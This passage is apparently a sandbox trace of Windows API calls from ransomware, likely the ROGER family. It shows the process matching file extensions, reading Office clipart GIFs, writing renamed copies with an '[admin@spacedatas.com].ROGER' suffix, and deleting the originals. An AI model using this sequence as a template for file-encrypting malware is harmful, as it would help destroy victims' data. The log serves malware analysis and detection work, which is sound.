Services\\AS OLEDB\\10\\Cartridges\\sql90.xsl") returned 77 [0054.168] lstrlenW (lpString=".1cd") returned 4 [0054.168] lstrcmpiW (lpString1=".1cd", lpString2=".xsl") returned -1 [0054.168] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql90.xsl") returned 77 [0054.168] lstrlenW (lpString=".jpg") returned 4 [0054.168] lstrcmpiW (lpString1=".jpg", lpString2=".xsl") returned -1 [0054.168] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql90.xsl") returned 77 [0054.168] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql90.xsl") returned 77 [0054.168] lstrlenW (lpString=".doc") returned 4 [0054.168] lstrcmpiW (lpString1=".doc", lpString2=".xsl") returned -1 [0054.168] lstrlenW (lpString=".docx") returned 5 [0054.168] lstrcmpiW (lpString1=".docx", lpString2="0.xsl") returned -1 [0054.168] lstrlenW (lpString=".pdf") returned 4 [0054.168] lstrcmpiW (lpString1=".pdf", lpString2=".xsl") returned -1 [0054.168] lstrlenW (lpString=".xls") returned 4 [0054.168] lstrcmpiW (lpString1=".xls", lpString2=".xsl") returned -1 [0054.168] lstrlenW (lpString=".xlsx") returned 5 [0054.168] lstrcmpiW (lpString1=".xlsx", lpString2="0.xsl") returned -1 [0054.168] lstrlenW (lpString=".ppt") returned 4 [0054.168] lstrcmpiW (lpString1=".ppt", lpString2=".xsl") returned -1 [0054.168] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql90.xsl") returned 77 [0054.168] lstrlenW (lpString=".zip") returned 4 [0054.168] lstrcmpiW (lpString1=".zip", lpString2=".xsl") returned 1 [0054.168] lstrlenW (lpString=".rar") returned 4 [0054.168] lstrcmpiW (lpString1=".rar", lpString2=".xsl") returned -1 [0054.169] lstrlenW (lpString=".bz2") returned 4 [0054.169] lstrcmpiW (lpString1=".bz2", lpString2=".xsl") returned -1 [0054.169] lstrlenW (lpString=".7z") returned 3 [0054.169] lstrcmpiW (lpString1=".7z", lpString2="xsl") returned -1 [0054.169] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql90.xsl") returned 77 [0054.169] lstrlenW (lpString=".dbf") returned 4 [0054.169] lstrcmpiW (lpString1=".dbf", lpString2=".xsl") returned -1 [0054.169] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql90.xsl") returned 77 [0054.169] lstrlenW (lpString=".1cd") returned 4 [0054.169] lstrcmpiW (lpString1=".1cd", lpString2=".xsl") returned -1 [0054.169] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql90.xsl") returned 77 [0054.169] lstrlenW (lpString=".jpg") returned 4 [0054.169] lstrcmpiW (lpString1=".jpg", lpString2=".xsl") returned -1 [0054.169] lstrcmpiW (lpString1=".GIF", lpString2=".ROGER") returned -1 [0054.169] lstrlenW (lpString="AG00004_.GIF") returned 12 [0054.169] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00004_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00004_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0054.171] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x3bfff1c | out: lpFileSize=0x3bfff1c*=9024) returned 1 [0054.171] CloseHandle (hObject=0x33c) returned 1 [0054.171] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00004_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00004_.gif")) returned 0x20 [0054.171] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00004_.GIF.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00004_.gif.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0054.171] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00004_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00004_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0054.171] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bffec8 | out: lpNewFilePointer=0x0) returned 1 [0054.171] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bffec8 | out: lpNewFilePointer=0x0) returned 1 [0054.171] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00004_.GIF.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00004_.gif.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d4 [0054.171] GetLastError () returned 0x0 [0054.171] ReadFile (in: hFile=0x33c, lpBuffer=0x4740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bffed4, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesRead=0x3bffed4*=0x2340, lpOverlapped=0x0) returned 1 [0054.173] WriteFile (in: hFile=0x3d4, lpBuffer=0x4740020*, nNumberOfBytesToWrite=0x2350, lpNumberOfBytesWritten=0x3bffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesWritten=0x3bffc9c*=0x2350, lpOverlapped=0x0) returned 1 [0054.174] ReadFile (in: hFile=0x33c, lpBuffer=0x4740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bffed4, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesRead=0x3bffed4*=0x0, lpOverlapped=0x0) returned 1 [0054.174] WriteFile (in: hFile=0x3d4, lpBuffer=0x4740020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x3bffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesWritten=0x3bffc9c*=0xec, lpOverlapped=0x0) returned 1 [0054.174] SetEndOfFile (hFile=0x3d4) returned 1 [0054.174] CloseHandle (hObject=0x3d4) returned 1 [0054.174] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bffec8 | out: lpNewFilePointer=0x0) returned 1 [0054.174] SetEndOfFile (hFile=0x33c) returned 1 [0054.175] CloseHandle (hObject=0x33c) returned 1 [0054.175] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00004_.GIF.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0054.175] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00004_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00004_.gif")) returned 1 [0054.176] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00004_.GIF") returned 63 [0054.176] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00004_.GIF") returned 63 [0054.176] lstrlenW (lpString=".doc") returned 4 [0054.176] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0054.176] lstrlenW (lpString=".docx") returned 5 [0054.176] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0054.176] lstrlenW (lpString=".pdf") returned 4 [0054.176] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0054.176] lstrlenW (lpString=".xls") returned 4 [0054.176] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0054.176] lstrlenW (lpString=".xlsx") returned 5 [0054.176] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0054.176] lstrlenW (lpString=".ppt") returned 4 [0054.176] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0054.176] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00004_.GIF") returned 63 [0054.176] lstrlenW (lpString=".zip") returned 4 [0054.176] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0054.176] lstrlenW (lpString=".rar") returned 4 [0054.176] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0054.176] lstrlenW (lpString=".bz2") returned 4 [0054.176] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0054.176] lstrlenW (lpString=".7z") returned 3 [0054.176] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0054.176] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00004_.GIF") returned 63 [0054.176] lstrlenW (lpString=".dbf") returned 4 [0054.176] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0054.176] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00004_.GIF") returned 63 [0054.176] lstrlenW (lpString=".1cd") returned 4 [0054.177] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0054.177] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00004_.GIF") returned 63 [0054.177] lstrlenW (lpString=".jpg") returned 4 [0054.177] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0054.177] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00004_.GIF") returned 63 [0054.177] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00004_.GIF") returned 63 [0054.177] lstrlenW (lpString=".doc") returned 4 [0054.177] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0054.177] lstrlenW (lpString=".docx") returned 5 [0054.177] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0054.177] lstrlenW (lpString=".pdf") returned 4 [0054.177] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0054.177] lstrlenW (lpString=".xls") returned 4 [0054.177] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0054.177] lstrlenW (lpString=".xlsx") returned 5 [0054.177] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0054.177] lstrlenW (lpString=".ppt") returned 4 [0054.177] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0054.177] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00004_.GIF") returned 63 [0054.177] lstrlenW (lpString=".zip") returned 4 [0054.177] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0054.177] lstrlenW (lpString=".rar") returned 4 [0054.177] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0054.177] lstrlenW (lpString=".bz2") returned 4 [0054.177] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0054.177] lstrlenW (lpString=".7z") returned 3 [0054.177] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0054.177] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00004_.GIF") returned 63 [0054.177] lstrlenW (lpString=".dbf") returned 4 [0054.177] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0054.177] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00004_.GIF") returned 63 [0054.178] lstrlenW (lpString=".1cd") returned 4 [0054.178] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0054.178] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00004_.GIF") returned 63 [0054.178] lstrlenW (lpString=".jpg") returned 4 [0054.178] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0054.178] lstrcmpiW (lpString1=".GIF", lpString2=".ROGER") returned -1 [0054.178] lstrlenW (lpString="AG00011_.GIF") returned 12 [0054.178] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00011_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00011_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0054.178] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x3bfff1c | out: lpFileSize=0x3bfff1c*=7216) returned 1 [0054.178] CloseHandle (hObject=0x33c) returned 1 [0054.178] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00011_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00011_.gif")) returned 0x20 [0054.178] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00011_.GIF.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00011_.gif.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0054.178] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00011_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00011_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0054.178] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bffec8 | out: lpNewFilePointer=0x0) returned 1 [0054.178] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bffec8 | out: lpNewFilePointer=0x0) returned 1 [0054.179] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00011_.GIF.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00011_.gif.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d4 [0054.179] GetLastError () returned 0x0 [0054.179] ReadFile (in: hFile=0x33c, lpBuffer=0x4740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bffed4, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesRead=0x3bffed4*=0x1c30, lpOverlapped=0x0) returned 1 [0054.180] WriteFile (in: hFile=0x3d4, lpBuffer=0x4740020*, nNumberOfBytesToWrite=0x1c40, lpNumberOfBytesWritten=0x3bffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesWritten=0x3bffc9c*=0x1c40, lpOverlapped=0x0) returned 1 [0054.181] ReadFile (in: hFile=0x33c, lpBuffer=0x4740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bffed4, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesRead=0x3bffed4*=0x0, lpOverlapped=0x0) returned 1 [0054.181] WriteFile (in: hFile=0x3d4, lpBuffer=0x4740020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x3bffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesWritten=0x3bffc9c*=0xec, lpOverlapped=0x0) returned 1 [0054.181] SetEndOfFile (hFile=0x3d4) returned 1 [0054.182] CloseHandle (hObject=0x3d4) returned 1 [0054.182] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bffec8 | out: lpNewFilePointer=0x0) returned 1 [0054.182] SetEndOfFile (hFile=0x33c) returned 1 [0054.183] CloseHandle (hObject=0x33c) returned 1 [0054.183] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00011_.GIF.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0054.183] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00011_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00011_.gif")) returned 1 [0054.183] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00011_.GIF") returned 63 [0054.183] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00011_.GIF") returned 63 [0054.183] lstrlenW (lpString=".doc") returned 4 [0054.183] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0054.183] lstrlenW (lpString=".docx") returned 5 [0054.183] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0054.183] lstrlenW (lpString=".pdf") returned 4 [0054.183] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0054.183] lstrlenW (lpString=".xls") returned 4 [0054.183] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0054.183] lstrlenW (lpString=".xlsx") returned 5 [0054.183] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0054.183] lstrlenW (lpString=".ppt") returned 4 [0054.183] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0054.183] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00011_.GIF") returned 63 [0054.183] lstrlenW (lpString=".zip") returned 4 [0054.184] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0054.184] lstrlenW (lpString=".rar") returned 4 [0054.184] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0054.184] lstrlenW (lpString=".bz2") returned 4 [0054.184] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0054.184] lstrlenW (lpString=".7z") returned 3 [0054.184] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0054.184] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00011_.GIF") returned 63 [0054.184] lstrlenW (lpString=".dbf") returned 4 [0054.184] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0054.184] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00011_.GIF") returned 63 [0054.184] lstrlenW (lpString=".1cd") returned 4 [0054.184] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0054.184] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00011_.GIF") returned 63 [0054.184] lstrlenW (lpString=".jpg") returned 4 [0054.184] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0054.184] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00011_.GIF") returned 63 [0054.184] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00011_.GIF") returned 63 [0054.184] lstrlenW (lpString=".doc") returned 4 [0054.184] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0054.184] lstrlenW (lpString=".docx") returned 5 [0054.184] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0054.184] lstrlenW (lpString=".pdf") returned 4 [0054.184] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0054.184] lstrlenW (lpString=".xls") returned 4 [0054.184] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0054.184] lstrlenW (lpString=".xlsx") returned 5 [0054.184] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0054.184] lstrlenW (lpString=".ppt") returned 4 [0054.184] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0054.184] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00011_.GIF") returned 63 [0054.184] lstrlenW (lpString=".zip") returned 4 [0054.185] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0054.185] lstrlenW (lpString=".rar") returned 4 [0054.185] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0054.185] lstrlenW (lpString=".bz2") returned 4 [0054.185] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0054.185] lstrlenW (lpString=".7z") returned 3 [0054.185] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0054.185] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00011_.GIF") returned 63 [0054.185] lstrlenW (lpString=".dbf") returned 4 [0054.185] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0054.185] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00011_.GIF") returned 63 [0054.185] lstrlenW (lpString=".1cd") returned 4 [0054.185] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0054.185] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00011_.GIF") returned 63 [0054.185] lstrlenW (lpString=".jpg") returned 4 [0054.185] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0054.185] lstrcmpiW (lpString1=".GIF", lpString2=".ROGER") returned -1 [0054.185] lstrlenW (lpString="AG00021_.GIF") returned 12 [0054.185] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00021_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00021_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0056.214] GetFileSizeEx (in: hFile=0x3f8, lpFileSize=0x3bfff1c | out: lpFileSize=0x3bfff1c*=14873) returned 1 [0056.215] CloseHandle (hObject=0x3f8) returned 1 [0056.217] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00021_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00021_.gif")) returned 0x20 [0056.217] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00021_.GIF.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00021_.gif.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0056.217] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00021_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00021_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0056.217] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bffec8 | out: lpNewFilePointer=0x0) returned 1 [0056.217] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bffec8 | out: lpNewFilePointer=0x0) returned 1 [0056.217] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00021_.GIF.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00021_.gif.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0056.217] GetLastError () returned 0x0 [0056.217] ReadFile (in: hFile=0x3f8, lpBuffer=0x4740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bffed4, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesRead=0x3bffed4*=0x3a19, lpOverlapped=0x0) returned 1 [0056.222] WriteFile (in: hFile=0x368, lpBuffer=0x4740020*, nNumberOfBytesToWrite=0x3a20, lpNumberOfBytesWritten=0x3bffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesWritten=0x3bffc9c*=0x3a20, lpOverlapped=0x0) returned 1 [0056.223] ReadFile (in: hFile=0x3f8, lpBuffer=0x4740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bffed4, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesRead=0x3bffed4*=0x0, lpOverlapped=0x0) returned 1 [0056.223] WriteFile (in: hFile=0x368, lpBuffer=0x4740020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x3bffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesWritten=0x3bffc9c*=0xec, lpOverlapped=0x0) returned 1 [0056.223] SetEndOfFile (hFile=0x368) returned 1 [0056.223] CloseHandle (hObject=0x368) returned 1 [0056.223] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bffec8 | out: lpNewFilePointer=0x0) returned 1 [0056.223] SetEndOfFile (hFile=0x3f8) returned 1 [0056.224] CloseHandle (hObject=0x3f8) returned 1 [0056.224] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00021_.GIF.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0056.224] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00021_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00021_.gif")) returned 1 [0056.224] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00021_.GIF") returned 63 [0056.224] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00021_.GIF") returned 63 [0056.224] lstrlenW (lpString=".doc") returned 4 [0056.224] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0056.224] lstrlenW (lpString=".docx") returned 5 [0056.224] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0056.224] lstrlenW (lpString=".pdf") returned 4 [0056.225] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0056.225] lstrlenW (lpString=".xls") returned 4 [0056.225] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0056.225] lstrlenW (lpString=".xlsx") returned 5 [0056.225] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0056.225] lstrlenW (lpString=".ppt") returned 4 [0056.225] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0056.225] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00021_.GIF") returned 63 [0056.225] lstrlenW (lpString=".zip") returned 4 [0056.225] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0056.225] lstrlenW (lpString=".rar") returned 4 [0056.225] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0056.225] lstrlenW (lpString=".bz2") returned 4 [0056.225] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0056.225] lstrlenW (lpString=".7z") returned 3 [0056.225] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0056.225] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00021_.GIF") returned 63 [0056.225] lstrlenW (lpString=".dbf") returned 4 [0056.225] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0056.225] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00021_.GIF") returned 63 [0056.225] lstrlenW (lpString=".1cd") returned 4 [0056.225] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0056.225] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00021_.GIF") returned 63 [0056.225] lstrlenW (lpString=".jpg") returned 4 [0056.225] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0056.225] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00021_.GIF") returned 63 [0056.225] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00021_.GIF") returned 63 [0056.225] lstrlenW (lpString=".doc") returned 4 